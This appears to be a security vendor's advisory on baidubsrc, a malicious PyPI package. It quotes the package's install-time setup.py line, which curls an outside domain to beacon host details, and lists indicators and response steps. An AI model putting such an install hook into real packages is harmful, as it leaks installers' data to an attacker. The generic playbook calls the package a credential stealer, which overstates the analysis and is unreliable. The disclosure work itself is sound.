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Malicious package

baidubsrcPyPI

Malicious code in baidubsrc (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-4809
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
pip uninstall baidubsrc

What this malware does

setup.py executes os.system("curl xiangyangt.com/pypi") unconditionally during pip install. This is an unauthenticated plaintext HTTP request to a personal third-party domain that is not associated with any documented publisher of this package. The request leaks the installer's IP address, User-Agent, and the fact that the package was installed on the host. The package is otherwise a trivial demo (placeholder author="demo", description "A demo pip package") with no functional need for any network activity at install time. While the response is not piped to a shell here, the install-time outbound beacon is a deliberate exfiltration of host-identifying data to an attacker-chosen endpoint, and the curl-pipe-to-shell variant is one edit away.

During installation, package calls home, and there is no other functionality.

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: GENERIC-standard-pypi-install-pentest

Reasons (based on the campaign):

  • The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.

  • The package overrides the install command in setup.py to execute malicious code during installation.

Malicious versions

1 flagged
0.0.1

Indicators of compromise (SHA-256)

601a0198fee420c15f127c695a251ac5fb2433357e0a24f146bc8c3cac8a5c77
e303b294e3a8f77fdfa91935af2cd5828572f5ab5ec2f0e0b34a0136e33d70dd
70342acb0742af0305c096283134cfa09133c44ff24030993e4468c96e9021cc

Detection & response playbook

Credential / info stealer
  1. Find it

    Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for baidubsrc (version 0.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging baidubsrc across your stack and pipelines.

  2. If you installed it — respond

    baidubsrc is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If baidubsrc was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

  4. How O3 protects you

    O3 blocks baidubsrc before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. baidubsrc on PyPI has been identified as a malicious package (version 0.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-004909IN-MAL-2026-004908GENERIC-standard-pypi-install-pentest

References

Credits

  • Amazon Inspector · finder
  • Kamil Mańkowski (kam193) · analyst

Detect & block this

O3 blocks baidubsrc-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

baidubsrc (PyPI) malicious package — MAL-2026-4809 | O3 Security